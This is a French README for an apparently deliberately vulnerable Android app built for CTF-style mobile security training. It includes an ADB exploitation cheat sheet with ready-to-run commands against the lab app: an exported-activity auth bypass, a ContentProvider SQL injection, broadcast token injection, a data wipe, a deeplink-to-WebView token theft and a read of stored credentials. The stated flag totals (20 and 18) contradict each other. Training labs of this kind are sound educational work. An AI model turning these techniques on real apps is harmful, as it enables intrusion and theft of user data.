Gu3ssWeak

Une application Android délibérément vulnérable pour la recherche en sécurité mobile, la pratique du bug bounty et l'apprentissage de type CTF. Contient 21 vulnérabilités documentées, mappées sur l'OWASP Mobile Top 10.

---

Démarrage rapide

git clone [email protected]:b4sith-sec/Gu3ssWeak.git
cd Gu3ssWeak
./gradlew assembleDebug
adb install -r app/build/outputs/apk/debug/app-debug.apk

Lancez l'application, parcourez chaque lab, capturez les flags et soumettez-les sur le tableau de score CTF intégré à l'application.

---

Catégories de labs

Catégorie	Vulnérabilités	Flags
WebView	WV-01 à WV-05	5
Deeplink	DL-01 à DL-04, DL-CHAIN	5
Auth / Injection SQL	SQL-01	1
Panneau d'administration	AP-01 à AP-04	2
ContentProvider	CP-01	1
Broadcast Receiver	BR-01 à BR-03	2
Service	SV-01, SV-02a, SV-02b	2
Interception réseau	NET-01	1
Banque / OTP	OTP-01	1
LFI	LFI-01	1
Stockage	STORE-01	1
XSS	XSS-01, XSS-02	2

20 flags au total, plus un flag maître attribué pour les avoir tous capturés.

---

Captures d'écran

Liste des labs	Tableau de score CTF
	lab

---

Déroulement du CTF

1. Ouvrez l'application - elle atterrit directement sur la liste des labs.
2. Choisissez un lab, exploitez la vulnérabilité (via l'interface, ADB, ou les deux).
3. Chaque exploitation réussie capture automatiquement son flag.
4. Appuyez sur « Submit Flag » pour confirmer, ou consultez la progression sur « CTF Scoreboard ».
5. Capturez les 18 flags pour débloquer le flag maître.

---

Documentation

• ARCHITECTURE.md - Fonctionnement interne de chaque composant vulnérable
• MITIGATIONS.md - Conseils de correction et de remédiation pour chaque vulnérabilité, y compris les concepts d'escalade LFI vers RCE
• SECURITY.md - Politique de sécurité et divulgation responsable
• CHECKSUMS.txt - Sommes de contrôle SHA256 des APK compilés

---

Aide-mémoire d'exploitation ADB

# Admin panel - exported, no permission
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity

Admin panel - bypass the "fixed" auth check via forged intent extra

adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity --ez is_authenticated true

ContentProvider grant bypass - parenthesis breakout escapes the single-row grant

adb shell "content query --uri content://com.gu3sswe4k.app.contacts/contacts/1 --where \"1) OR (1=1\""

# Token injection via broadcast
adb shell am broadcast -a com.gu3sswe4k.app.SEND_TOKEN --es token FAKE --es user attacker

# Data wipe via exported service
adb shell am startservice -n com.gu3sswe4k.app/.services.DataSyncService --es action wipe_user_data

# Deeplink to WebView RCE chain
adb shell am start -a android.intent.action.VIEW -d "vulndroid://settings?redirect=com.gu3sswe4k.app.activities.WebViewActivity&url=javascript:VulnBridge.stealToken()"

# Read plaintext stored credentials
adb shell run-as com.gu3sswe4k.app cat /data/data/com.gu3sswe4k.app/shared_prefs/login_prefs.xml

# Watch for logged secrets
adb logcat | grep Gu3ssWeak

---

Avertissement

Ce projet est purement éducatif. Toutes les vulnérabilités sont intentionnelles et documentées. Les techniques présentées ici s'appliquent à de vraies applications, mais ne testez que des systèmes que vous possédez ou que vous êtes autorisé à tester. Consultez SECURITY.md pour l'avertissement complet et les conseils de divulgation responsable.

Licence

MIT - voir LICENSE.